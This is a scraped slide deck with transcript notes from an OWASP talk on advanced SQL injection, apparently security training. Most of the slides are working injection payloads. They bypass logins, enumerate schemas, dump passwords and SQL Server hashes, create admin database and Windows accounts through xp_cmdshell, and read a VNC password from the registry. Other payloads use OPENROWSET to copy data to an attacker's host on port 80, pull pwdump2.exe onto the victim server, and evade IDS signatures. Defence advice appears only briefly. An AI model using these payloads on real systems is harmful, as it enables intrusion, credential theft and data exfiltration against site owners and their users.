  • There are also extended procedures that will allow us to read or write to the registry. With the xp_regread we would be able to extract the decimal equivalent of the obfuscated VNC password. The whole set of built in extended stored procedures for interacting with the registry are: xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread, xp_regremovemultistring and xp_regwrite. Some other interesting keys to explore include: HKLM\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\\ nullsessionshares HKLM\\SYSTEM\\CurrentControlSet\\Services\\ snmp \\parameters\\ validcommunities HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ Winlogon\\DefaultUserName HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ Winlogon\\DefaultPassword HKLM\\SOFTWARE\\Microsoft\\ TelnetServer\\1.0\\NTLM HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA\\ RestrictAnonymous HKLM\\SOFTWARE\\ORL\\ WinVNC3\\Default\\Password HKU\\Software\\ORL\\ WinVNC3\\Password HKLM\\SOFTWARE\\Symantec\\ Norton AntiVirus\\CurrentVersion HKU\\Software\\Microsoft\\Internet Account Manager\\Accounts\\ 00000001\\ POP3 User Name HKU\\Software\\ Kazaa\\UserDetails\\UserName HKU\\Software\\Microsoft\\ Exchange\\UserName HKU\\Software\\Microsoft\\ Exchange\\LogonDomain
  • In this final stage we may want to expand our influence to other applications or servers.
  • To find out if there are any linked servers we may use the sysservers table. Once we know what the other servers are, hopping into their databases can be easily achieved by using the OPENROWSET command again.
  • Linked and remote servers in Microsoft SQL Server allows one server to communicate transparently with a remote database server. Linked servers allow us to execute distributed queries and even control remote database servers. We could use this capability to access the internal network. We would start by collecting information from the master.dbo.sysservers system table as demonstrated here. To expand further, the attacker could then query the information from the linked and remote servers. The first insert brings us the linked servers in the sysservers table. The second one allows us to retrieve the sysservers table in one of the linked servers. And the last insert would retrieve the remote databases from the sysdatabases table in the linked server.
  • Sometimes the servers will be configured to only allow remote stored procedure execution and they will not permit arbitraries queries to run. If the linked and remote servers are not configured for data access we could try this. All the queries can be done through the sp_executesql stored procedure that circumvents this restriction.
  • Once we have gained adequate privileges on the SQL Server, we will then want to upload “binaries” to the server. Since normally this can not be done using protocols such as SMB, since port 137-139 typically is blocked at the firewall, we will need another method of getting the binaries onto the remote file system. This can be done by uploading a binary file into a table local to us and then pulling the data to the remote server file system using a SQL Server connection. Having created the table to hold the binary, the attacker would then upload the binary into the attackerTable. To circumvent the firewall, we will then configure a connection to our server over port 80 by modifying the registry. The binary can then be downloaded to the victim server from our server by running the remote bcp statement on the victim server. This statement will issue an outbound connection to the attacker’s server and write the results of the query into a file recreating the executable.
  • When there is no Internet connectivity files can still be uploaded by hexing them and sending them as part of the query strings. This is still a manual and tedious process but can be done by a dedicated hacker.
  • The whole queries would have taken too much space to include here.
  • In some cases there will be input validation in place or an Intrusion Prevention System that will distort or drop some of our attempts to inject. We will now review possible evasion techniques.
  • Both IDS and input validation circumvention are very similar. We will use different techniques to change the expected input and bypass completely the "signatures". IDS or IPS should never be used alone to protect applications from SQL Injection vulnerabilities. It should be implemented as an alerting mechanism.
  • An IDS signature may be looking for the 'OR 1=1 . There are numerous ways of replacing this so that it continues to have the same effect.
  • One common way to implement input validation in PHP is by using PHP's addslashes() function or by turning on magic_quotes_gpc. This will protect string injection but this may give them a false sense of security since injection in numeric fields is still possible.
  • Some ways to evade and circumvent validation or detection is through encoding of parameters. Different types of detection will be vulnerable to distinct encoding.
  • To inject into MySQL without using double quotes the char() function can be very useful. Char() also works on almost all other DBs but sometimes it can only hold one character at a time like for example char(0x##)+char(0x##)+…
  • IDSs used to be vulnerable to changing the number of white spaces and could be tricked by doing so. Adding special characters like tab, carriage return or linefeeds will sometimes evade the signature. Some SQL interpreters do not even need spaces between commands and parameters. This would completely change the IDS's signature and make untraceable without changing the execution of the statement.
  • There is another very interesting way to evade IDS. And that is by using the multirow comments. These will work in almost all databases and can be used to replace white spaces. They could even allow to spread commands through different fields.
  • In MySQL comments can even be put in the middle of SQL commands. Another way of splitting instructions to avoid IDS detection is by using execution commands that allow us to concatenate text in Oracle or MS SQL Server.
  • Other techniques will allow us to define variables and then have them executed. Variables can be defined in hex completely avoiding the need for single quotes.
  • Defending against SQL Injection is easy. But it has to be done in a methodical way.
  • Input validation is the most important part of defending against SQL injection. You should enforce input validation in all new applications through strong design. Any you should audit all your existing code and websites. You should additionally always harden your servers as well.
  • What we believe to be a strong design, is that which can be secure always. For this to happen it has also to be the easiest way for programmers to query the database. You should use stored procedures to interact with database and call procedures through a parameterized API. All input should be validated and all database users should run under the "least privilege" principle. You may need to define different roles, one for every type of query.
  • For each field you should define the type of input it will allow. Then you should use filters to verify that only good input gets through and that you reject any suspicious one. Implement "known bad" filters for SQL reserved words and characters.
  • Harden your servers. If there is a breach, you should be protected to the core. Never trust your input validation, applications continue to change through time and unexpected vulnerabilities may emerge in time.
  • One last but important point is to apply dissuasive messages to your error messages. This will scare most of the possible attackers away. Use an IDS to detect and block attacks, they may try other avenues if the first one fails.
  • Advanced sql injection 2

    1. 1. Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of the OWASP License.The OWASP FoundationOWASPhttp://www.owasp.orgAdvanced SQL InjectionVictor ChapelaSm4rt Security Servicesvictor@sm4rt.com4/11/2005
    2. 2. 2OWASPWhat is SQL?SQL stands for Structured Query LanguageAllows us to access a databaseANSI and ISO standard computer languageThe most current standard is SQL99SQL can:execute queries against a databaseretrieve data from a databaseinsert new records in a databasedelete records from a databaseupdate records in a database
    3. 3. 3OWASPSQL is a Standard - but...There are many different versions of the SQLlanguageThey support the same major keywords in asimilar manner (such as SELECT, UPDATE,DELETE, INSERT, WHERE, and others).Most of the SQL database programs also havetheir own proprietary extensions in additionto the SQL standard!
    4. 4. 4OWASPSQL Database TablesA relational database contains one or more tablesidentified each by a nameTables contain records (rows) with dataFor example, the following table is called "users" andcontains data distributed in rows and columns:userID Name LastName Login Password1 John Smith jsmith hello2 Adam Taylor adamt qwerty3 Daniel Thompson dthompson dthompson
    5. 5. 5OWASPSQL QueriesWith SQL, we can query a database and have aresult set returnedUsing the previous table, a query like this:SELECT LastNameFROM usersWHERE UserID = 1;Gives a result set like this:LastName--------------Smith
    6. 6. 6OWASPSQL Data Manipulation Language (DML)SQL includes a syntax to update, insert, anddelete records:SELECT - extracts dataUPDATE - updates dataINSERT INTO - inserts new dataDELETE - deletes data
    7. 7. 7OWASPSQL Data Definition Language (DDL)The Data Definition Language (DDL) part of SQLpermits:Database tables to be created or deletedDefine indexes (keys)Specify links between tablesImpose constraints between database tablesSome of the most commonly used DDL statements inSQL are:CREATE TABLE - creates a new database tableALTER TABLE - alters (changes) a database tableDROP TABLE - deletes a database table
    8. 8. 8OWASPMetadata Almost all SQL databases are based on theRDBM (Relational Database Model) One important fact for SQL Injection Amongst Codds 12 rules for a Truly RelationalDatabase System:4. Metadata (data about the database) must be stored in thedatabase just as regular data is Therefore, database structure can also be read andaltered with SQL queries
    9. 9. 9OWASPWhat is SQL Injection?The ability to inject SQL commandsinto the database enginethrough an existing application
    10. 10. 10OWASPHow common is it?It is probably the most common Website vulnerabilitytoday!It is a flaw in "web application" development,it is not a DB or web server problemMost programmers are still not aware of this problemA lot of the tutorials & demo “templates” are vulnerableEven worse, a lot of solutions posted on the Internet are notgood enoughIn our pen tests over 60% of our clients turn out to bevulnerable to SQL Injection
    11. 11. 11OWASPVulnerable Applications Almost all SQL databases and programming languages arepotentially vulnerable MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase,Informix, etc Accessed through applications developed using: Perl and CGI scripts that access databases ASP, JSP, PHP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and API’s Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) many more
    12. 12. 12OWASPHow does SQL Injection work?Common vulnerable login querySELECT * FROM usersWHERE login = victorAND password = 123(If it returns something then login!)ASP/MS SQL Server login syntaxvar sql = "SELECT * FROM usersWHERE login = " + formusr +" AND password = " + formpwd + "";
    13. 13. 13OWASPInjecting through Stringsformusr = or 1=1 – –formpwd = anythingFinal query would look like this:SELECT * FROM usersWHERE username = or 1=1– – AND password = anything
    14. 14. 14OWASPThe power of It closes the string parameterEverything after is considered part of the SQLcommandMisleading Internet suggestions include:Escape it! : replace with String fields are very common but there areother types of fields:NumericDates
    15. 15. 15OWASPIf it were numeric?SELECT * FROM clientsWHERE account = 12345678AND pin = 1111PHP/MySQL login syntax$sql = "SELECT * FROM clients WHERE " ."account = $formacct AND " ."pin = $formpin";
    16. 16. 16OWASPInjecting Numeric Fields$formacct = 1 or 1=1 #$formpin = 1111Final query would look like this:SELECT * FROM clientsWHERE account = 1 or 1=1# AND pin = 1111
    17. 17. 17OWASPSQL Injection Characters or " character String Indicators-- or # single-line comment/*…*/ multiple-line comment+ addition, concatenate (or space in url)|| (double pipe) concatenate% wildcard attribute indicator?Param1=foo&Param2=bar URL ParametersPRINT useful as non transactional command@variable local variable@@variable global variablewaitfor delay 0:0:10 time delay
    18. 18. Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of the OWASP License.The OWASP FoundationOWASPhttp://www.owasp.orgMethodology
    19. 19. 19OWASPSQL Injection Testing Methodology1) Input Validation2) Info. Gathering6) OS Cmd Prompt7) Expand Influence4) Extracting Data3) 1=1 Attacks 5) OS Interaction
    20. 20. 20OWASP1) Input Validation2) Info. Gathering3) 1=1 Attacks 5) OS Interaction6) OS Cmd Prompt4) Extracting Data7) Expand Influence1) Input Validation
    21. 21. 21OWASPDiscovery of VulnerabilitiesVulnerabilities can be anywhere, we check all entrypoints:Fields in web formsScript parameters in URL query stringsValues stored in cookies or hidden fieldsBy "fuzzing" we insert into every one:Character sequence: " ) # || + >SQL reserved words with white space delimiters %09select (tab%09, carriage return%13, linefeed%10 andspace%32 with and, or, update, insert, exec, etc)Delay query waitfor delay 0:0:10--
    22. 22. 22OWASP2) Information Gathering2) Info. Gathering3) 1=1 Attacks 5) OS Interaction6) OS Cmd Prompt4) Extracting Data7) Expand Influence1) Input Validation
    23. 23. 23OWASP2) Information Gathering We will try to find out the following:a) Output mechanismb) Understand the queryc) Determine database typed) Find out user privilege levele) Determine OS interaction level
    24. 24. 24OWASPa) Exploring Output Mechanisms1. Using query result sets in the web application2. Error Messages Craft SQL queries that generate specific types of errormessages with valuable info in them3. Blind SQL Injection Use time delays or error signatures to determine extractinformation Almost the same things can be done but Blind Injection ismuch slower and more difficult4. Other mechanisms e-mail, SMB, FTP, TFTP
    25. 25. 25OWASPExtracting information through ErrorMessagesGrouping Error group by columnnames having 1=1 - -Type Mismatch union select 1,1,text,1,1,1 - - union select 1,1, bigint,1,1,1 - - Where text or bigint are being united into an int columnIn DBs that allow subqueries, a better way is: and 1 in (select text ) - -In some cases we may need to CAST or CONVERT our datato generate the error messages
    26. 26. 26OWASPBlind InjectionWe can use different known outcomes and condition and 1=1Or we can use if statements; if condition waitfor delay 0:0:5 --; union select if( condition , benchmark (100000,sha1(test)), false ),1,1,1,1;Additionally, we can run all types of queries but with nodebugging information!We get yes/no responses onlyWe can extract ASCII a bit at a time...Very noisy and time consuming but possible with automatedtools like SQueaL
    27. 27. 27OWASPb) Understanding the QueryThe query can be:SELECTUPDATEEXECINSERTOr something more complexContext helpsWhat is the form or page trying to do with our input?What is the name of the field, cookie or parameter?
    28. 28. 28OWASPSELECT StatementMost injections will land in the middle of aSELECT statementIn a SELECT clause we almost always end up inthe WHERE section:SELECT * FROM table WHERE x = normalinput group by x having 1=1 -- GROUP BY x HAVING x = y ORDER BY x
    29. 29. 29OWASPUPDATE statementIn a change your password section of an app wemay find the followingUPDATE usersSET password = new passwordWHERE login = logged.userAND password = old passwordIf you inject in new password and comment the rest,you end up changing every password in the table!
    30. 30. 30OWASPDetermining a SELECT Query Structure1. Try to replicate an error free navigation Could be as simple as and 1 = 1 Or and 1 = 22. Generate specific errors Determine table and column names group by columnnames having 1=1 -- Do we need parenthesis? Is it a subquery?
    31. 31. 31OWASPIs it a stored procedure?We use different injections to determine what wecan or cannot do,@variable?Param1=foo&Param2=barPRINTPRINT @@variable
    32. 32. 32OWASPTricky QueriesWhen we are in a part of a subquery or begin - endstatementWe will need to use parenthesis to get outSome functionality is not available in subqueries (for examplegroup by, having and further subqueries)In some occasions we will need to add an ENDWhen several queries use the inputWe may end up creating different errors in different queries, itgets confusing!An error generated in the query we are interrupting maystop execution of our batch queriesSome queries are simply not escapable!
    33. 33. 33OWASPc) Determine Database Engine TypeMost times the error messages will let us knowwhat DB engine we are working withODBC errors will display database type as part of thedriver informationIf we have no ODBC error messages:We make an educated guess based on the OperatingSystem and Web ServerOr we use DB-specific characters, commands orstored procedures that will generate different errormessages
    34. 34. 34OWASPSome differencesMS SQLT-SQLMySQL AccessOraclePL/SQLDB2PostgresPL/pgSQLConcatenateStrings + concat ("", " ")" "&" " || " "+" " || NullreplaceIsnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()Op Sysinteractionxp_cmdshellselect intooutfile /dumpfile#date# utf_fileimportfromexport toCallCast Yes No No No Yes Yes
    35. 35. 35OWASPMore differences…MS SQL MySQL Access Oracle DB2 PostgresUNION Y Y Y Y Y YSubselects YN 4.0Y 4.1N Y Y YBatch Queries Y N* N N N YDefault storedproceduresMany N N Many N NLinking DBs Y Y N Y Y N
    36. 36. 36OWASPd) Finding out user privilege levelThere are several SQL99 built-in scalar functions that willwork in most SQL implementations:user or current_usersession_usersystem_user and 1 in (select user ) --; if user =dbo waitfor delay 0:0:5 -- union select if( user() like root@%,benchmark(50000,sha1(test)), false );
    37. 37. 37OWASPDB AdministratorsDefault administrator accounts include:sa, system, sys, dba, admin, root and many othersIn MS SQL they map into dbo:The dbo is a user that has implied permissions to perform allactivities in the database.Any member of the sysadmin fixed server role who uses adatabase is mapped to the special user inside each databasecalled dbo.Also, any object created by any member of the sysadmin fixedserver role belongs to dbo automatically.
    38. 38. 38OWASP3) 1=1 Attacks1) Input Validation5) OS Interaction6) OS Cmd Prompt4) Extracting Data7) Expand Influence2) Info. Gathering3) 1=1 Attacks
    39. 39. 39OWASPDiscover DB structureDetermine table and column names group by columnnames having 1=1 --Discover column name types union select sum(columnname ) fromtablename --Enumerate user defined tables and 1 in (select min(name) from sysobjectswhere xtype = U and name > .) --
    40. 40. 40OWASPEnumerating table columns in differentDBs MS SQL SELECT name FROM syscolumns WHERE id = (SELECT id FROMsysobjects WHERE name = tablename ) sp_columns tablename (this stored procedure can be used instead) MySQL show columns from tablename Oracle SELECT * FROM all_tab_columnsWHERE table_name=tablename  DB2 SELECT * FROM syscat.columnsWHERE tabname= tablename  Postgres SELECT attnum,attname from pg_class, pg_attributeWHERE relname= tablename AND pg_class.oid=attrelid AND attnum > 0
    41. 41. 41OWASPAll tables and columns in one query union select 0, sysobjects.name + : +syscolumns.name + : + systypes.name, 1, 1,1, 1, 1, 1, 1, 1 from sysobjects, syscolumns,systypes where sysobjects.xtype = U ANDsysobjects.id = syscolumns.id ANDsyscolumns.xtype = systypes.xtype --
    42. 42. 42OWASPDatabase EnumerationIn MS SQL Server, the databases can bequeried with master..sysdatabasesDifferent databases in Server and 1 in (select min(name ) frommaster.dbo.sysdatabases where name >. ) --File location of databases and 1 in (select min(filename ) frommaster.dbo.sysdatabases where filename >. ) --
    43. 43. 43OWASPSystem TablesOracle SYS.USER_OBJECTS SYS.TAB SYS.USER_TEBLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLUMNS SYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMS AccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMS SQL Serversysobjectssyscolumnssystypessysdatabases
    44. 44. 44OWASP4) Extracting Data4) Extracting Data1) Input Validation5) OS Interaction6) OS Cmd Prompt7) Expand Influence2) Info. Gathering3) 1=1 Attacks
    45. 45. 45OWASPPassword grabbingGrabbing username and passwords from a UserDefined table; begin declare @var varchar(8000)set @var=: select @var=@var++login+/+password+ from users where login>@varselect @var as var into temp end -- and 1 in (select var from temp) -- ; drop table temp --
    46. 46. 46OWASPCreate DB AccountsMS SQL exec sp_addlogin victor, Pass123 exec sp_addsrvrolemember victor, sysadminMySQL INSERT INTO mysql.user (user, host, password) VALUES (victor, localhost,PASSWORD(Pass123))Access CREATE USER victor IDENTIFIED BY Pass123Postgres (requires UNIX account) CREATE USER victor WITH PASSWORD Pass123Oracle CREATE USER victor IDENTIFIED BY Pass123TEMPORARY TABLESPACE tempDEFAULT TABLESPACE users; GRANT CONNECT TO victor; GRANT RESOURCE TO victor;
    47. 47. 47OWASPGrabbing MS SQL Server HashesAn easy query:SELECT name, password FROM sysxloginsBut, hashes are varbinaryTo display them correctly through an error message we need toHex themAnd then concatenate allWe can only fit 70 name/password pairs in a varcharWe can only see 1 complete pair at a timePassword field requires dbo accessWith lower privileges we can still recover user names and bruteforce the password
    48. 48. 48OWASPWhat do we do? The hashes are extracted using SELECT password FROM master..sysxlogins We then hex each hashbegin @charvalue=0x, @i=1, @length=datalength(@binvalue),@hexstring = 0123456789ABCDEFwhile (@i<=@length) BEGINdeclare @tempint int, @firstint int, @secondint intselect @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))select @firstint=FLOOR(@tempint/16)select @secondint=@tempint - (@firstint*16)select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +SUBSTRING (@hexstring, @secondint+1, 1)select @i=@i+1 END And then we just cycle through all passwords
    49. 49. 49OWASPExtracting SQL HashesIt is a long statement; begin declare @var varchar(8000), @xdate1 datetime, @binvaluevarbinary(255), @charvalue varchar(255), @i int, @length int, @hexstringchar(16) set @var=: select @xdate1=(select min(xdate1) frommaster.dbo.sysxlogins where password is not null) begin while @xdate1 <=(select max(xdate1) from master.dbo.sysxlogins where password is not null)begin select @binvalue=(select password from master.dbo.sysxlogins wherexdate1=@xdate1), @charvalue = 0x, @i=1, @length=datalength(@binvalue),@hexstring = 0123456789ABCDEF while (@i<=@length) begin declare@tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select@secondint=@tempint - (@firstint*16) select @charvalue=@charvalue +SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring,@secondint+1, 1) select @i=@i+1 end select @var=@var+ |+name+/+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxloginswhere xdate1>@xdate1 and password is not null) end select @var as x intotemp end end --
    50. 50. 50OWASPExtract hashes through error messages and 1 in (select x from temp) -- and 1 in (select substring (x, 256, 256) fromtemp) -- and 1 in (select substring (x, 512, 256) fromtemp) --etc… drop table temp --
    51. 51. 51OWASPBrute forcing Passwords Passwords can be brute forced by using the attacked server to dothe processing SQL Crack Script create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from c:temppasswords.txt select name, pwd from tempdb..passwords inner join sysxlogins on(pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name,name from sysxlogins where (pwdcompare( name,sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null fromsysxlogins join syslogins on sysxlogins.sid=syslogins.sid wheresysxlogins.password is null and syslogins.isntgroup=0 andsyslogins.isntuser=0 drop table tempdb..passwords
    52. 52. 52OWASPTransfer DB structure and dataOnce network connectivity has been testedSQL Server can be linked back to the attackersDB by using OPENROWSETDB Structure is replicatedData is transferredIt can all be done by connecting to a remote port80!
    53. 53. 53OWASPCreate Identical DB Structure; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select *from mydatabase..hacked_sysdatabases)select * from master.dbo.sysdatabases --; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select *from mydatabase..hacked_sysdatabases)select * from user_database.dbo.sysobjects --; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from mydatabase..hacked_syscolumns)select * from user_database.dbo.syscolumns --
    54. 54. 54OWASPTransfer DB; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from mydatabase..table1)select * from database..table1 --; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from mydatabase..table2)select * from database..table2 --
    55. 55. 55OWASP5) OS Interaction5) OS Interaction6) OS Cmd Prompt7) Expand Influence1) Input Validation2) Info. Gathering3) 1=1 Attacks4) Extracting Data
    56. 56. 56OWASPInteracting with the OS Two ways to interact with the OS:1. Reading and writing system files from disk Find passwords and configuration files Change passwords and configuration Execute commands by overwriting initialization orconfiguration files2. Direct command execution We can do anything Both are restricted by the databases runningprivileges and permissions
    57. 57. 57OWASPMySQL OS InteractionMySQLLOAD_FILE union select 1,load_file(/etc/passwd),1,1,1;LOAD DATA INFILE create table temp( line blob ); load data infile /etc/passwd into table temp; select * from temp;SELECT INTO OUTFILE
    58. 58. 58OWASPMS SQL OS InteractionMS SQL Server; exec master..xp_cmdshell ipconfig > test.txt -- ; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmpFROM test.txt -- ; begin declare @data varchar(8000) ; set @data=| ; select@data=@data+txt+ | from tmp where txt<@data ; select @dataas x into temp end -- and 1 in (select substring(x,1,256) from temp) -- ; declare @var sysname; set @var = del test.txt; EXECmaster..xp_cmdshell @var; drop table temp; drop table tmp --
    59. 59. 59OWASPArchitectureTo keep in mind always!Our injection most times will be executed on a differentserverThe DB server may not even have Internet accessWeb ServerWebPageAccessDatabase ServerInjected SQLExecution!Application ServerInputValidationFlaw
    60. 60. 60OWASPAssessing Network ConnectivityServer name and configuration and 1 in (select @@servername ) -- and 1 in (select srvname from master..sysservers ) --NetBIOS, ARP, Local Open Ports, Trace route?Reverse connectionsnslookup, pingftp, tftp, smbWe have to test for firewall and proxies
    61. 61. 61OWASPGathering IP information through reverselookupsReverse DNS; exec master..xp_cmdshell nslookup a.com MyIP --Reverse Pings; exec master..xp_cmdshell ping MyIP --OPENROWSET; select * from OPENROWSET( SQLoledb, uid=sa;pwd=Pass123; Network=DBMSSOCN;Address=MyIP,80;,select * from table)
    62. 62. 62OWASPNetwork ReconnaissanceUsing the xp_cmdshell all the following can beexecuted:Ipconfig /allTracert myIParp -anbtstat -cnetstat -anoroute print
    63. 63. 63OWASPNetwork Reconnaissance Full Query ; declare @var varchar(256); set @var = del test.txt && arp -a>> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt&& netstat -ano >> test.txt && route print >> test.txt && tracert-w 10 -h 10 google.com >> test.txt; EXECmaster..xp_cmdshell @var -- ; CREATE TABLE tmp (txt varchar(8000)); BULK INSERTtmp FROM test.txt -- ; begin declare @data varchar(8000) ; set @data=: ; select@data=@data+txt+ | from tmp where txt<@data ; select@data as x into temp end -- and 1 in (select substring(x,1,255) from temp) -- ; declare @var sysname; set @var = del test.txt; EXECmaster..xp_cmdshell @var; drop table temp; drop table tmp --
    64. 64. 64OWASP6) OS Cmd Prompt7) Expand Influence3) 1=1 Attacks4) Extracting Data1) Input Validation2) Info. Gathering5) OS Interaction6) OS Cmd Prompt
    65. 65. 65OWASPJumping to the OSLinux based MySQL union select 1, (load_file(/etc/passwd)),1,1,1;MS SQL Windows Password Creation; exec xp_cmdshell net user /add victor Pass123--; exec xp_cmdshell net localgroup /addadministrators victor --Starting Services; exec master..xp_servicecontrol start,FTPPublishing --
    66. 66. 66OWASPUsing ActiveX Automation ScriptsSpeech example; declare @o int, @var intexec sp_oacreate speech.voicetext, @o outexec sp_oamethod @o, register, NULL, x, xexec sp_oasetproperty @o, speed, 150exec sp_oamethod @o, speak, NULL, warning, yoursequel server has been hacked!, 1waitfor delay 00:00:03 --
    67. 67. 67OWASPRetrieving VNC Password from Registry; declare @out binary(8)exec master..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@key=SOFTWAREORLWinVNC3Default,@value_name=Password,@value = @out outputselect cast(@out as bigint) as x into TEMP-- and 1 in (select cast(x as varchar) fromtemp) --
    68. 68. 68OWASP7) Expand Influence7) Expand Influence3) 1=1 Attacks4) Extracting Data1) Input Validation2) Info. Gathering5) OS Interaction6) OS Cmd Prompt
    69. 69. 69OWASPHopping into other DB ServersFinding linked servers in MS SQLselect * from sysserversUsing the OPENROWSET command hopping tothose servers can easily be achievedThe same strategy we saw earlier with usingOPENROWSET for reverse connections
    70. 70. 70OWASPLinked Servers; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from mydatabase..hacked_sysservers)select * from master.dbo.sysservers; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from mydatabase..hacked_linked_sysservers)select * from LinkedServer.master.dbo.sysservers; insert intoOPENROWSET(SQLoledb,uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;,select * from mydatabase..hacked_linked_sysdatabases)select * from LinkedServer.master.dbo.sysdatabases
    71. 71. 71OWASPExecuting through stored proceduresremotely If the remote server is configured to only allow stored procedureexecution, this changes would be made:insert intoOPENROWSET(SQLoledb,uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;, select *from mydatabase..hacked_sysservers)exec Linked_Server.master.dbo.sp_executesql Nselect * frommaster.dbo.sysserversinsert intoOPENROWSET(SQLoledb,uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;, select *from mydatabase..hacked_sysdatabases)exec Linked_Server.master.dbo.sp_executesql Nselect * frommaster.dbo.sysdatabases
    72. 72. 72OWASPUploading files through reverse connection ; create table AttackerTable (data text) -- ; bulk insert AttackerTable --from pwdump2.exe with (codepage=RAW) ; exec master..xp_regwriteHKEY_LOCAL_MACHINE,SOFTWAREMicrosoftMSSQLServerClientConnectTo,MySrvAlias,REG_SZ,DBMSSOCN, MyIP, 80 -- ; exec xp_cmdshell bcp "select * from AttackerTable"queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor-PPass123 --
    73. 73. 73OWASPUploading files through SQL InjectionIf the database server has no Internetconnectivity, files can still be uploadedSimilar process but the files have to be hexedand sent as part of a query stringFiles have to be broken up into smaller pieces(4,000 bytes per piece)
    74. 74. 74OWASPExample of SQL injection file uploadingThe whole set of queries is lengthyYou first need to inject a stored procedure toconvert hex to binary remotelyYou then need to inject the binary as hex in4000 byte chunks declare @hex varchar(8000), @bin varchar(8000)select @hex = 4d5a900003000… 8000 hex chars …0000000000000000000 execmaster..sp_hex2bin @hex, @bin output ; insertmaster..pwdump2 select @bin --Finally you concatenate the binaries and dumpthe file to disk.
    75. 75. Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of the OWASP License.The OWASP FoundationOWASPhttp://www.owasp.orgEvasion Techniques
    76. 76. 76OWASPEvasion TechniquesInput validation circumvention and IDS Evasiontechniques are very similarSnort based detection of SQL Injection ispartially possible but relies on "signatures"Signatures can be evaded easilyInput validation, IDS detection AND strongdatabase and OS hardening must be usedtogether
    77. 77. 77OWASPIDS Signature EvasionEvading OR 1=1 signature OR unusual = unusual OR something = some+thing OR text = Ntext OR something like some% OR 2 > 1 OR text > t OR whatever IN (whatever) OR 2 BETWEEN 1 AND 3
    78. 78. 78OWASPInput validationSome people use PHP addslashes() function toescape characterssingle quote ()double quote (")backslash ()NUL (the NULL byte)This can be easily evaded by usingreplacements for any of the previous charactersin a numeric field
    79. 79. 79OWASPEvasion and CircumventionIDS and input validation can be circumvented byencodingSome ways of encoding parametersURL encodingUnicode/UTF-8Hex encondingchar() function
    80. 80. 80OWASPMySQL Input Validation Circumventionusing Char()Inject without quotes (string = "%"): or username like char(37);Inject without quotes (string = "root"): union select * from users where login = char(114,111,111,116);Load files in unions (string = "/etc/passwd"): union select 1,(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;Check for existing files (string = "n.ext"): and1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
    81. 81. 81OWASPIDS Signature Evasion using white spacesUNION SELECT signature is different toUNION SELECTTab, carriage return, linefeed or several whitespaces may be usedDropping spaces might work even betterOR1=1 (with no spaces) is correctly interpreted bysome of the friendlier SQL databases
    82. 82. 82OWASPIDS Signature Evasion using commentsSome IDS are not tricked by white spacesUsing comments is the best alternative/* … */ is used in SQL99 to delimit multirowcommentsUNION/**/SELECT/**//**/OR/**/1/**/=/**/1This also allows to spread the injection throughmultiple fields USERNAME: or 1/* PASSWORD: */ =1 --
    83. 83. 83OWASPIDS Signature Evasion using stringconcatenationIn MySQL it is possible to separate instructionswith commentsUNI/**/ON SEL/**/ECTOr you can concatenate text and use a DBspecific instruction to executeOracle ; EXECUTE IMMEDIATE SEL || ECT US || ERMS SQL ; EXEC (SEL + ECT US + ER)
    84. 84. 84OWASPIDS and Input Validation Evasion usingvariablesYet another evasion technique allows for the definition ofvariables; declare @x nvarchar(80); set @x = NSEL + NECT US +NER);EXEC (@x)EXEC SP_EXECUTESQL @xOr even using a hex value; declare @x varchar(80); set @x =0x73656c65637420404076657273696f6e; EXEC (@x)This statement uses no single quotes ()
    85. 85. Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of the OWASP License.The OWASP FoundationOWASPhttp://www.owasp.orgDefending Against SQLInjection
